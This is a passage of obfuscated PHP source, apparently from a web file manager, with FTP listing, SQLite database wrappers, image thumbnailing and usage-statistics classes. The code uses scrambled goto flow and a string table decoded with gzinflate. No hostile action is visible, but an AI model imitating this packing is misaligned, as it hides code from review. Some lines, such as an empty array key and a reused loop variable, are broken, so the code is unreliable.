goto Aʑ; eɳ: $c = rtrim($c, $A[8]) . $A[8]; $c骇ը = @ftp_nlist($this->connect, $c); if ($c骇ը === !1) { $c骇ը = @ftp_rawlist($this->connect, $c); foreach ($c骇ը as $B => $f׈) { $c骇ը[$B] = end(explode($A[1148], $f׈)); } } goto b։; b։: $dϑ = array(); foreach ($c骇ը as $FƘ) { if ($FƘ == $A[93] || $FƘ == $A[1149]) { continue; } if (!strstr($FƘ, $A[8])) { $FƘ = $c . ltrim($FƘ, $A[8]); } $dϑ[] = $this->iconvApp($FƘ); } return $dϑ; goto B; Aʑ: $A =& $_SERVER[ڊ]; if (!$this->isFolder($c)) { return !1; } @ftp_chdir($this->connect, $A[8]); goto eɳ; B: } private function recursionFtpFiles($Aڴ, &$a֖˛) { $d =& $_SERVER[ڊ]; if (!$this->_isconn()) { return !1; } if (!($F = $this->ftpList($Aڴ))) { return !1; } foreach ($F as $Aڴ) { if ($this->isFolder($Aڴ)) { $this->recursionFtpFiles($Aڴ, $a֖˛); $a֖˛[$d[74]][] = $Aڴ; } else { $a֖˛[$d[73]][] = $Aڴ; } } } private function objectMeta($aӺ) { goto Bݭ; Dഄ: $c = @ftp_size($this->connect, $this->iconvSystem($aӺ)); if ($c != -1) { $E = array($Aθۑ[77] => $c, $Aθۑ[29] => $Aθۑ[164]); } else { $d = @ftp_chdir($this->connect, $this->iconvSystem($aӺ)); $E = $d ? array($Aθۑ[77] => 0, $Aθۑ[29] => $Aθۑ[76]) : !1; } Cache::set($Aϊ, $E, 0); goto b˘; eг: if ($E !== null && $E !== !1) { return $E; } if (!$this->_isconn()) { return !1; } @ftp_chdir($this->connect, $Aθۑ[8]); goto Dഄ; Bݭ: $Aθۑ =& $_SERVER[ڊ]; $Aϊ = $Aθۑ[1150] . md5($aӺ); $E = Cache::get($Aϊ); goto eг; b˘: return $E; goto B; B: } } $a٩ = LIB_DIR . $_SERVER[ڊ][1151]; goto fڤ; EՅ툄: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { goto b; c: $this->in =& $in; $this->values[$D[6]] =& $config; $this->values[$D[7]] =& $in; goto f; b: $D =& $_SERVER[ڊ]; global $in, $config; $this->config =& $config; goto c; f: $this->tpl = TEMPLATE . MOD . $D[8]; $this->_classObjectID = mt_rand(0, 10000); goto Bڋ; Bڋ: } public function loadClass($E̫у) { if (1 === func_num_args()) { $this->{$E̫у} = new $E̫у(); } else { $B = new ReflectionClass($E̫у); $C« = func_get_args(); array_shift($C«); $this->{$E̫у} = $B->newInstanceArgs($C«); } return $this->{$E̫у}; } protected function assign($cֽɇ, $eŨ) { $this->values[$cֽɇ] = $eŨ; } protected function display($D) { ob_end_clean(); extract($this->values); require $this->tpl . $D; } } class DbSqliteBase extends Db { public function __construct($F = '') { $b =& $_SERVER[ڊ]; if (!extension_loaded($b[9])) { think_exception(think_lang($b[10]) . $b[11]); } if (!empty($F)) { if (!isset($F[$b[12]])) { $F[$b[12]] = 438; } $this->config = $F; if (empty($this->config[$b[13]])) { $this->config[$b[13]] = array(); } } } public function connect($D = '', $dȃ = 0) { $cߌ =& $_SERVER[ڊ]; if (!isset($this->linkID[$dȃ])) { goto F݇ύ; B놴: $this->linkID[$dȃ] = $BՓ($D[$cߌ[17]], $D[$cߌ[12]]); if (!$this->linkID[$dȃ]) { think_exception(sqlite_error_string()); } $this->connected = !0; goto D楈Γ; F݇ύ: if (empty($D)) { $D = $this->config; } $E = !empty($D[$cߌ[13]][$cߌ[14]]) ? $D[$cߌ[13]][$cߌ[14]] : $this->pconnect; $BՓ = $E ? $cߌ[15] : $cߌ[16]; goto B놴; D楈Γ: @sqlite_busy_timeout($this->linkID[$dȃ], 30000); if (1 != think_config($cߌ[18])) { unset($this->config); } goto aͺ; aͺ: } return $this->linkID[$dȃ]; } public function free() { $this->queryID = null; } public function query($cт) { goto dԐ; b: if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $E = $this->getAll(); return $E; } goto F㋒Ȑ; dԐ: $f =& $_SERVER[ڊ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto BÑ; BĖ: think_status($f[20]); $this->queryID = sqlite_query($this->_linkID, $cт); $this->debug(); goto b; BÑ: $this->queryStr = $cт; if ($this->queryID) { $this->free(); } think_action_status($f[19], 1); goto BĖ; F㋒Ȑ: } public function execute($Bǟ) { goto C; aё: $this->queryStr = $Bǟ; if ($this->queryID) { $this->free(); } think_action_status($F[21], 1); goto e﨡; C: $F =& $_SERVER[ڊ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto aё; C؎܂: if (!1 === $AȖ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } goto e; e﨡: think_status($F[20]); $AȖ = sqlite_exec($this->_linkID, $Bǟ); $this->debug(); goto C؎܂; e: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ڊ][22]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $fȃ = sqlite_query($this->_linkID, $_SERVER[ڊ][23]); if (!$fȃ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $Eق = sqlite_query($this->_linkID, $_SERVER[ڊ][24]); if (!$Eق) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $EЕ = array(); if ($this->numRows > 0) { for ($Fю = 0; $Fю < $this->numRows; $Fю++) { $EЕ[$Fю] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $EЕ; } public function getFields($F) { $Fؙ =& $_SERVER[ڊ]; $a˨ = $this->query($Fؙ[25] . $F . $Fؙ[26]); $aܗ = array(); if ($a˨) { foreach ($a˨ as $a̬ => $C) { $aܗ[$C[$Fؙ[27]]] = array($Fؙ[28] => $C[$Fؙ[27]], $Fؙ[29] => $C[$Fؙ[30]], $Fؙ[31] => (bool) ($C[$Fؙ[32]] === $Fؙ[33]), $Fؙ[34] => $C[$Fؙ[35]], $Fؙ[36] => strtolower($C[$Fؙ[37]]) == $Fؙ[38], $Fؙ[39] => strtolower($C[$Fؙ[40]]) == $Fؙ[41]); } } return $aܗ; } public function getTables($aٮ = '') { $aȣ =& $_SERVER[ڊ]; $d = $this->query($aȣ[42] . $aȣ[43] . $aȣ[44]); $e˰ޛ匧 = array(); foreach ($d as $D߷ => $e܎) { $e˰ޛ匧[$D߷] = current($e܎); } return $e˰ޛ匧; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $fзݡ =& $_SERVER[ڊ]; $f͏ = sqlite_last_error($this->_linkID); $this->error = $f͏ . $fзݡ[4] . sqlite_error_string($f͏); if ($fзݡ[33] != $this->queryStr) { $this->error .= LNG($fзݡ[45]) . $this->queryStr; } think_trace($this->error, $fзݡ[33], $fзݡ[46]); return $this->error; } public function escapeString($fï) { return sqlite_escape_string($fï); } public function parseLimit($EӴ) { $C =& $_SERVER[ڊ]; $A = $C[33]; if (!empty($EӴ)) { $EӴ = explode($C[47], $EӴ); if (count($EӴ) > 1) { $A .= $C[48] . $EӴ[1] . $C[49] . $EӴ[0] . $C[50]; } else { $A .= $C[48] . $EӴ[0] . $C[50]; } } return $A; } } class DbSqlite3Base extends Db { public function __construct($C = '') { $E᪌ =& $_SERVER[ڊ]; if (!class_exists($E᪌[51])) { think_exception(think_lang($E᪌[10]) . $E᪌[52]); } if (!empty($C)) { if (!isset($C[$E᪌[12]])) { $C[$E᪌[12]] = 438; } $this->config = $C; if (empty($this->config[$E᪌[13]])) { $this->config[$E᪌[13]] = array(); } } } public function connect($A﵌ = '', $A䃛᠓ = 0) { $eϦ =& $_SERVER[ڊ]; if (!isset($this->linkID[$A䃛᠓])) { if (empty($A﵌)) { $A﵌ = $this->config; } $this->linkID[$A䃛᠓] = new SQLite3($A﵌[$eϦ[17]]); if (!$this->linkID[$A䃛᠓]) { think_exception($this->linkID[$A䃛᠓]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$A䃛᠓]->busyTimeout(30000); if (1 != think_config($eϦ[18])) { unset($this->config); } } return $this->linkID[$A䃛᠓]; } public function free() { $this->queryID = null; } public function query($Cτڍ) { goto F; F: $cnj苄 =& $_SERVER[ڊ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto C˛; fۻ: if (!1 === $this->queryID) { $this->error(); return !1; } else { $eɌɳ = $this->getAll(); $this->numRows = count($eɌɳ); return $eɌɳ; } goto e䂛; C˛: $this->queryStr = $Cτڍ; if ($this->queryID) { $this->free(); } think_action_status($cnj苄[19], 1); goto Aě; Aě: think_status($cnj苄[20]); $this->queryID = $this->_linkID->query($Cτڍ); $this->debug(); goto fۻ; e䂛: } public function execute($dî) { goto Cݏ; aƠ: $this->queryStr = $dî; if ($this->queryID) { $this->free(); } think_action_status($B[21], 1); goto C; aɅ: if (!1 === $f󶊃) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } goto c˅; Cݏ: $B =& $_SERVER[ڊ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto aƠ; C: think_status($B[20]); $f󶊃 = $this->_linkID->exec($dî); $this->debug(); goto aɅ; c˅: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ڊ][22]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $D = $this->_linkID->query($_SERVER[ڊ][23]); if (!$D) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $Eؖ = $this->_linkID->query($_SERVER[ڊ][24]); if (!$Eؖ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $Cϖ = array(); while ($E = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $Cϖ[] = $E; } $this->queryID->reset(); return $Cϖ; } public function getFields($B) { $f =& $_SERVER[ڊ]; $c = $this->query($f[25] . $B . $f[26]); $aɌ = array(); if ($c) { foreach ($c as $eΥ => $C”) { $aɌ[$C”[$f[28]]] = array($f[28] => $C”[$f[28]], $f[29] => $C”[$f[29]], $f[31] => (bool) ($C”[$f[31]] === $f[33]), $f[34] => $C”[$f[53]], $f[36] => (bool) $C”[$f[54]], $f[39] => (bool) $C”[$f[54]]); } } return $aɌ; } public function getTables($bÿ = '') { $D =& $_SERVER[ڊ]; $Fݾ = $this->query($D[42] . $D[43] . $D[44]); $E = array(); foreach ($Fݾ as $eه => $B͈Ş) { $E[$eه] = current($B͈Ş); } return $E; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $A䈫ߖ =& $_SERVER[ڊ]; $this->error = $this->_linkID->lastErrorMsg(); if ($A䈫ߖ[33] != $this->queryStr) { $this->error .= LNG($A䈫ߖ[45]) . $this->queryStr; } think_trace($this->error, $A䈫ߖ[33], $A䈫ߖ[46]); return $this->error; } public function escapeString($DȨ) { $dʝ =& $_SERVER[ڊ]; if ($this->_linkID) { return $this->_linkID->escapeString($DȨ); } return str_ireplace($dʝ[55], $dʝ[56], $DȨ); } public function parseLimit($A) { $F䛾 =& $_SERVER[ڊ]; $DŻڮ = $F䛾[33]; if (!empty($A)) { $A = explode($F䛾[47], $A); if (count($A) > 1) { $DŻڮ .= $F䛾[48] . $A[1] . $F䛾[49] . $A[0] . $F䛾[50]; } else { $DŻڮ .= $F䛾[48] . $A[0] . $F䛾[50]; } } return $DŻڮ; } } goto Eķը; A֑嚗: function beforeShutdown() { Hook::trigger($_SERVER[][36]); } $_SERVER[$_SERVER[][37]] = BASIC_PATH; $_SERVER[$_SERVER[][38]] = LIB_DIR; goto cٕ; C: define($_SERVER[ڊ][1903], 4); define($_SERVER[ڊ][1904], 5); define($_SERVER[ڊ][1905], 16); goto C¥; aȻ: $D뗡 = $_SERVER[ڊ][543]; $_SERVER[۩] = explode($_SERVER[ڊ][544], gzinflate(substr($_SERVER[ڊ][545], 10, -8))); $D = $_SERVER[ڊ][546]; goto B南; AႭ: class ImageThumb { var $srcFile = ''; var $imgData = ''; var $echoType; var $im = ''; var $srcW = ''; var $srcH = ''; function __construct($c̑, $eɱ) { goto E򸙥; A: if (!$this->im) { return !1; } $FɮŞ = $_SERVER[ڊ][33]; $this->imgData = GetImageSize($c̑, $FɮŞ); goto Bߐ̥ͬ; E򸙥: $this->srcFile = $c̑; $this->echoType = $eɱ; $this->im = self::image($c̑); goto A; Bߐ̥ͬ: $this->srcW = imageSX($this->im); $this->srcH = imageSY($this->im); return $this; goto dݫƅ; dݫƅ: } public static function image($dˮ) { $E =& $_SERVER[ڊ]; $Aݍ = $E[33]; $F͛Ѝ = GetImageSize($dˮ, $Aݍ); $a䣗Ա = !1; switch ($F͛Ѝ[2]) { case IMAGETYPE_GIF: if (!function_exists($E[1832])) { break; } $a䣗Ա = imagecreatefromgif($dˮ); break; case IMAGETYPE_JPEG: if (!function_exists($E[1833])) { break; } $a䣗Ա = imagecreatefromjpeg($dˮ); break; case IMAGETYPE_PNG: if (!function_exists($E[1834])) { break; } $a䣗Ա = @imagecreatefrompng($dˮ); imagesavealpha($a䣗Ա, !0); break; case IMAGETYPE_XBM: $a䣗Ա = imagecreatefromxbm($dˮ); break; case IMAGETYPE_WBMP: $a䣗Ա = imagecreatefromwbmp($dˮ); break; case IMAGETYPE_BMP: $a䣗Ա = imagecreatefrombmp($dˮ); break; default: break; } return $a䣗Ա; } public static function imageSize($a) { $Eݽ =& $_SERVER[ڊ]; $aΩ = GetImageSize($a); if (!$aΩ) { return !1; } return array($Eݽ[1835] => $aΩ[0], $Eݽ[1836] => $aΩ[1]); } function distortion($B٠, $DɈ, $f) { $d񠑴 = $this->creatImage($this->im, $DɈ, $f, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($d񠑴, $B٠); } function prorate($D, $aۦ, $fᐊ) { $D瞴 = $aۦ / $fᐊ; $cؖ = $this->srcW / $this->srcH; if ($D瞴 <= $cؖ) { $cν = $aۦ; $eђ = $cν * ($this->srcH / $this->srcW); } else { $eђ = $fᐊ; $cν = $eђ * ($this->srcW / $this->srcH); } if ($this->srcW > $aۦ || $this->srcH > $fᐊ) { $eԉ = $this->creatImage($this->im, $cν, $eђ, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($eԉ, $D); } else { $eԉ = $this->creatImage($this->im, $this->srcW, $this->srcH, 0, 0, 0, 0, $this->srcW, $this->srcH); return $this->echoImage($eԉ, $D); } } function cut($cЅô, $FNj, $C) { goto Eʋ; c: return $this->echoImage($DӍ, $cЅô); goto Fʬ; E: $AΪ = $this->creatImage($this->im, $e, $Eߖ, 0, 0, 0, 0, $this->srcW, $this->srcH); $DӍ = $this->creatImage($AΪ, $FNj, $C, 0, 0, ($e - $FNj) / 2, ($Eߖ - $C) / 2, $FNj, $C); imageDestroy($AΪ); goto c; Eʋ: $Aϭ = $FNj / $C; $f = $this->srcW / $this->srcH; if ($Aϭ <= $f) { $Eߖ = $C; $e = $Eߖ * ($this->srcW / $this->srcH); } else { $e = $FNj; $Eߖ = $e * ($this->srcH / $this->srcW); } goto E; Fʬ: } function backFill($b°, $DժӐ, $bۻ׬, $fڍ = false, $CΙĺ = 255, $b = 255, $f = 255) { goto BϦ; BϦ: $b᥃ = $DժӐ / $bۻ׬; $B¶Һ = $this->srcW / $this->srcH; if ($b᥃ <= $B¶Һ) { $B = $DժӐ; $d = $B * ($this->srcH / $this->srcW); } else { $d = $bۻ׬; $B = $d * ($this->srcW / $this->srcH); } goto bԓ; bԓ: if (function_exists($_SERVER[ڊ][1837])) { @($býТ = imageCreateTrueColor($DժӐ, $bۻ׬)); if (!$býТ) { $býТ = imageCreate($DժӐ, $bۻ׬); } } else { $býТ = imageCreate($DժӐ, $bۻ׬); } $F = ($bۻ׬ - $d) / 2; $DĒ = imagecolorallocate($býТ, $CΙĺ, $b, $f); goto f⥒ћ; eޕ: return $this->echoImage($býТ, $b°); goto Cܡ; f⥒ћ: if ($fڍ) { $DĒ = imageColorTransparent($býТ, $DĒ); $F = $bۻ׬ - $d; } imageFilledRectangle($býТ, 0, 0, $DժӐ, $bۻ׬, $DĒ); if ($this->srcW > $DժӐ || $this->srcH > $bۻ׬) { $Ā = $this->creatImage($this->im, $B, $d, 0, 0, 0, 0, $this->srcW, $this->srcH); if ($B < $DժӐ) { imageCopy($býТ, $Ā, ($DժӐ - $B) / 2, 0, 0, 0, $B, $d); } else { if ($d < $bۻ׬) { imageCopy($býТ, $Ā, 0, $F, 0, 0, $B, $d); } else { imageCopy($býТ, $Ā, 0, 0, 0, 0, $B, $d); } } } else { imageCopyMerge($býТ, $this->im, ($DժӐ - $B) / 2, $F, 0, 0, $B, $d, 100); } goto eޕ; Cܡ: } function creatImage($eι, $bܾˈ, $c, $D̎, $Fը, $cȃ, $b, $Bѐ, $Bд) { if (function_exists($_SERVER[ڊ][1837])) { @($bʥ = ImageCreateTrueColor($bܾˈ, $c)); @imagealphablending($bʥ, !1); @imagesavealpha($bʥ, !0); if ($bʥ) { imageCopyResampled($bʥ, $eι, $D̎, $Fը, $cȃ, $b, $bܾˈ, $c, $Bѐ, $Bд); } else { $bʥ = ImageCreate($bܾˈ, $c); imageCopyResized($bʥ, $eι, $D̎, $Fը, $cȃ, $b, $bܾˈ, $c, $Bѐ, $Bд); } } else { $bʥ = ImageCreate($bܾˈ, $c); imageCopyResized($bʥ, $eι, $D̎, $Fը, $cȃ, $b, $bܾˈ, $c, $Bѐ, $Bд); } return $bʥ; } public function imgRotate($eɏΖ, $A֣͎) { goto C䑺; C䑺: if (!$this->im || $A֣͎ % 360 === 0 || !function_exists($_SERVER[ڊ][1838])) { return !1; } $F = imageRotate($this->im, 360 - $A֣͎, 0); $A = !1; goto fꅇ; Aʉ: return $A; goto e; fꅇ: switch ($this->imgData[2]) { case IMAGETYPE_GIF: $A = imagegif($F, $eɏΖ); break; case IMAGETYPE_JPEG: $A = imagejpeg($F, $eɏΖ, 100); break; case IMAGETYPE_PNG: $A = imagePNG($F, $eɏΖ); break; default: break; } imageDestroy($F); imageDestroy($this->im); goto Aʉ; e: } function echoImage($c򘮐, $fӃ) { goto Ež; eĊ: imageDestroy($this->im); return $b煌; goto FϦ; dی: $b煌 = !1; switch ($this->echoType) { case $aײ[1839]: $b煌 = imagePNG($c򘮐); break; case $aײ[164]: $b煌 = imagePNG($c򘮐, $fӃ); break; } imageDestroy($c򘮐); goto eĊ; Ež: $aײ =& $_SERVER[ڊ]; if (!$c򘮐) { return !1; } ob_get_clean(); goto dی; FϦ: } } if (!function_exists($_SERVER[ڊ][1840])) { define($_SERVER[ڊ][1841], 0); define($_SERVER[ڊ][1842], 1); define($_SERVER[ڊ][1843], 2); function imageflip($C, $B邉) { switch ($B邉) { case IMG_FLIP_HORIZONTAL: $b۞ = imagesx($C) - 1; $Bӄͭ = $b۞ / 2; $e = imagesy($C); $A = imageistruecolor($C) ? imagecreatetruecolor(1, $e) : imagecreate(1, $e); for ($A = 0; $A < $Bӄͭ; ++$A) { imagecopy($A, $C, 0, 0, $A, 0, 1, $e); imagecopy($C, $C, $A, 0, $b۞ - $A, 0, 1, $e); imagecopy($C, $A, $b۞ - $A, 0, 0, 0, 1, $e); } break; case IMG_FLIP_VERTICAL: $c̺ۈ = imagesx($C); $d߃ۧ = imagesy($C) - 1; $b = $d߃ۧ / 2; $A = imageistruecolor($C) ? imagecreatetruecolor($c̺ۈ, 1) : imagecreate($c̺ۈ, 1); for ($cǟ = 0; $cǟ < $b; ++$cǟ) { imagecopy($A, $C, 0, 0, 0, $cǟ, $c̺ۈ, 1); imagecopy($C, $C, 0, $cǟ, 0, $d߃ۧ - $cǟ, $c̺ۈ, 1); imagecopy($C, $A, 0, $d߃ۧ - $cǟ, 0, 0, $c̺ۈ, 1); } break; case IMG_FLIP_BOTH: $c̺ۈ = imagesx($C); $e = imagesy($C); $A = imagerotate($C, 180, 0); imagecopy($C, $A, 0, 0, 0, 0, $c̺ۈ, $e); break; default: return; } imagedestroy($A); } } if (!function_exists($_SERVER[ڊ][1844])) { function imagecreatefrombmp($bօ) { return ImageGdBMP::load($bօ); } } goto d; F: class AnalysisModel extends ModelBaseLight { public function init($A؊) { $Bߗ =& $_SERVER[ڊ]; $Dߢׄ = array($Bߗ[531] => array($Bߗ[29] => $Bߗ[1998], $Bߗ[258] => array($Bߗ[207], $Bߗ[695], $Bߗ[1999], $Bߗ[2000])), $Bߗ[2001] => array($Bߗ[29] => $Bߗ[2002], $Bߗ[258] => array($Bߗ[207], $Bߗ[693], $Bߗ[2003], $Bߗ[2004], $Bߗ[2005]))); if (!isset($Dߢׄ[$A؊])) { return !1; } $this->optionType = $Dߢׄ[$A؊][$Bߗ[29]]; $this->field = $Dߢׄ[$A؊][$Bߗ[258]]; return !0; } public function listData($f = false, $bؤ毒 = "\155\x6f\144\151\146\x79\124\151\155\x65", $A = false) { return parent::listData($f, $bؤ毒, $A); } public function trendList($Bѓ) { goto Dͭ; Dͭ: $Aئ =& $_SERVER[ڊ]; $Eα = $this->listData(); if ($Eα) { $Bĩ = end($Eα); $BŸ = date($Aئ[2006], strtotime($Aئ[2007])); if ($Bĩ[$Aئ[207]] == $BŸ) { return $Eα; } $Eͦ‰ = strtotime($Bĩ[$Aئ[207]]); } goto A↑; A↑: if (!isset($Eͦ‰)) { $Aު = $Bѓ == $Aئ[531] ? $Aئ[473] : $Aئ[747]; $Eͦ‰ = Model($Aު)->min($Aئ[184]); } $b¥ܔ = $Aئ[2008] . ucfirst($Bѓ); $CŦ = $this->dateList($Eͦ‰); goto B; B: foreach ($CŦ as $BŸ) { $this->{$b¥ܔ}($BŸ); } return $this->listData(); goto d; d: } private function dateList($f띗) { $bШΒ =& $_SERVER[ڊ]; $b = $f띗; $E = strtotime($bШΒ[2007]); $E˦ϊ = array(); while ($b <= $E) { $E˦ϊ[] = date($bШΒ[2006], $b); $b = strtotime($bШΒ[2009], $b); } return $E˦ϊ; } public function _recordUser($e㑐 = '') { goto dы; DЂ: $bه = array($A[207] => $e㑐, $A[695] => (int) $E, $A[1999] => (int) $C, $A[2000] => (int) $cÏ); return $this->insert($bه); goto e; dы: $A =& $_SERVER[ڊ]; $c֚ѓ = strtotime(date($A[2010], strtotime($e㑐))); $E = strtotime(date($A[2011], strtotime($e㑐))); goto F; F: $bҊ = array($A[184] => array($A[921], $E)); $E = Model($A[473])->where($bҊ)->count($A[1409]); $bҊ[$A[184]] = array($A[318], array($c֚ѓ, $E)); goto cƒ; cƒ: $C = Model($A[473])->where($bҊ)->count($A[1409]); $bҊ[$A[29]] = $A[2012]; $cÏ = Model($A[2013])->where($bҊ)->count($A[2014]); goto DЂ; e: } public function _recordStore($B = '') { goto Dʌ; Dʌ: $aϻ =& $_SERVER[ڊ]; $f = strtotime(date($aϻ[2011], strtotime($B))); $A︲ = array($aϻ[184] => array($aϻ[921], $f)); goto dˋ; dˋ: $C԰ = Model($aϻ[418])->where($A︲)->sum($aϻ[77]); $A︲[$aϻ[367]] = 0; $D֑ = Model($aϻ[747])->where($A︲)->sum($aϻ[77]); goto DǞ; C: $d = Model($aϻ[747])->where($A︲)->sum($aϻ[77]); $aȳ = array($aϻ[207] => $B, $aϻ[693] => (int) $D֑, $aϻ[2003] => (int) $C԰, $aϻ[2004] => (int) $c魴, $aϻ[2005] => (int) $d); return $this->insert($aȳ); goto Fݛ; DǞ: $A︲[$aϻ[368]] = 1; $c魴 = Model($aϻ[747])->where($A︲)->sum($aϻ[77]); $A︲[$aϻ[368]] = 2; goto C; Fݛ: } public function trend($f, $A썍) { goto A; a݌: return $d; goto DΑ; Eӂ΂: if ($D؊ && $A썍 != $Eб[1384]) { $B = $D؊[0][$Eб[207]]; $a = $this->validDate($A썍, $B); $e = array(); $F = array_to_keyvalue($D؊, $Eб[207]); foreach ($a as $b) { if (isset($F[$b])) { $C = $F[$b]; } else { $C = end($D؊); $C[$Eб[207]] = $b; if ($f == $Eб[531]) { $C[$Eб[1999]] = $C[$Eб[2000]] = 0; } } $e[] = $C; } $D؊ = $e; } $c = array($Eб[531] => array($Eб[695] => LNG($Eб[2015]), $Eб[1999] => LNG($Eб[2016]), $Eб[2000] => LNG($Eб[2017])), $Eб[2001] => array($Eб[693] => LNG($Eб[2018]), $Eб[2003] => LNG($Eб[2019]), $Eб[2004] => LNG($Eб[2020]), $Eб[2005] => LNG($Eб[2021]))); $Aޯ = array($Eб[531] => $Eб[2022], $Eб[2001] => $Eб[77]); goto Ĕ; A: $Eб =& $_SERVER[ڊ]; if (!$this->init($f)) { return !1; } $D؊ = $this->trendList($f); goto Eӂ΂; Ĕ: if (empty($D؊)) { $b = date($Eб[2006], strtotime($Eб[2007])); $b髱渷 = array($Eб[207] => $b); foreach ($c[$f] as $B֊ܨ => $F) { $b髱渷[$B֊ܨ] = 0; } $D؊[] = $b髱渷; } $d = array(); foreach ($D؊ as $F) { if ($f == $Eб[2001] && $F[$Eб[2003]] > $F[$Eб[693]]) { $F[$Eб[2003]] = $F[$Eб[693]]; } foreach ($c[$f] as $B֊ܨ => $dٿ) { $C = array($Eб[207] => $F[$Eб[207]], $Eб[1316] => $dٿ); $C[$Aޯ[$f]] = isset($F[$B֊ܨ]) ? $F[$B֊ܨ] : 0; $d[] = $C; } } goto a݌; DΑ: } public function validDate($d⇽, $A̤) { goto eӯ; eӯ: $c䵱 =& $_SERVER[ڊ]; $B٪ = date($c䵱[2006], strtotime($c䵱[2007])); $FŜܕ = array($B٪); goto EЏ; d򇂓: return $FŜܕ; goto F; EЏ: switch ($d⇽) { case $c䵱[1391]: $cՐ = mktime(0, 0, 0, date($c䵱[2023]), date($c䵱[2024]) - date($c䵱[1213]) + 7 - 7, date($c䵱[2025])); $fݾظ = 0; do { $fӃŷ = date($c䵱[2006], $cՐ - 3600 * 24 * 7 * $fݾظ); $FŜܕ[] = $fӃŷ; $fݾظ++; } while ($A̤ < $fӃŷ); break; case $c䵱[1389]: $fݾظ = 1; do { $e = date($c䵱[2026], strtotime("\55\x20{$fݾظ}\40\x6d\157\x6e\x74\150\163")); $FŜܕ[] = $e; $fݾظ++; } while ($A̤ < $e); break; case $c䵱[1694]: $B = (int) date($c䵱[2025], strtotime($A̤)); $aɢ = (int) date($c䵱[2025]); if ($B >= $aɢ) { break; } for ($B; $B < $aɢ; $B++) { $FŜܕ[] = $B . $c䵱[2027]; } break; default: break; } if ($A̤ > end($FŜܕ)) { array_pop($FŜܕ); } sort($FŜܕ); goto d򇂓; F: } public function listTable($aΎ) { $B = ucfirst($aΎ); return Model($B)->listData(); } public function option($Fۄ׃) { $a㎎ = $_SERVER[ڊ][2028] . ucfirst($Fۄ׃); return $this->{$a㎎}(); } private function optionUser() { goto Cϥ; Cϥ: $E믍 =& $_SERVER[ڊ]; $Bʟ = Model($E믍[473])->count($E믍[1409]); $bί = Model($E믍[473])->where($E믍[2029])->count($E믍[1409]); goto Bչʾ; aß罍: $b㶗 = Model($E믍[473])->where($dî)->count($E믍[1409]); return array($E믍[690] => (int) $Bʟ, $E믍[2032] => (int) ($Bʟ - $bί), $E믍[2033] => (int) $bί, $E믍[2034] => (int) $b㶗, $E믍[2035] => $c鑴´); goto aɩԷ; AՑ: if (!$c鑴´) { $c鑴´ = 1; } $f = strtotime(date($E믍[2010])); $dî = array($E믍[2031] => array($E믍[922], $f)); goto aß罍; Bչʾ: $f = strtotime($E믍[2030]); $dî = array($E믍[2031] => array($E믍[922], $f)); $c鑴´ = (int) Model($E믍[473])->where($dî)->count($E믍[1409]); goto AՑ; aɩԷ: } private function optionFile() { goto dଆ; c袬: $aĺ = Model($Cґ[747])->where($a҄)->sum($Cґ[77]); $Dຸ = Model($Cґ[747])->where($a҄)->count($Cґ[366]); return array($Cґ[693] => $aՈ, $Cґ[2003] => $a’Γ, $Cґ[2036] => $aՈ - $a’Γ, $Cґ[2037] => (int) $aĺ, $Cґ[695] => (int) $FӅ, $Cґ[2038] => (int) $Dຸ); goto a; fҗ: $a’Γ = $Cɪ[$Cґ[2003]]; $FӅ = Model($Cґ[747])->where(array($Cґ[367] => 0))->count($Cґ[366]); $a҄ = array($Cґ[367] => 0, $Cґ[184] => array($Cґ[922], strtotime(date($Cґ[2010])))); goto c袬; dଆ: $Cґ =& $_SERVER[ڊ]; $Cɪ = $this->sourceSize(); $aՈ = $Cɪ[$Cґ[77]]; goto fҗ; a: } private function optionAccess() { $f󽕡 =& $_SERVER[ڊ]; return array($f󽕡[690] => $this->typeLogCnt(), $f󽕡[91] => $this->typeLogCnt($f󽕡[91]), $f󽕡[400] => $this->typeLogCnt($f󽕡[400]), $f󽕡[2039] => $this->typeLogCnt($f󽕡[2039]), $f󽕡[2040] => $this->typeLogCnt($f󽕡[2040]), $f󽕡[531] => $this->typeLogCnt($f󽕡[33], $f󽕡[2014])); } private function typeLogCnt($B֗ = '', $c۝ = "\151\x64") { goto c; c: $a =& $_SERVER[ڊ]; $eَ = array($a[91] => array($a[2041], $a[2042]), $a[400] => array($a[2043], $a[2044]), $a[2039] => array($a[2045], $a[2046]), $a[2040] => array($a[2047], $a[2048]), $a[2049] => array($a[2050], $a[2051], $a[2052])); $A͒ = strtotime(date($a[2010])); goto A; fڐ: return (int) $B; goto b; A: $bþ = array($a[184] => array($a[922], $A͒)); if ($B֗) { $bþ[$a[29]] = array($a[7], $eَ[$B֗]); } $B = Model($a[2013])->where($bþ)->count($c۝); goto fڐ; b: } private function optionServer() { goto B̧; 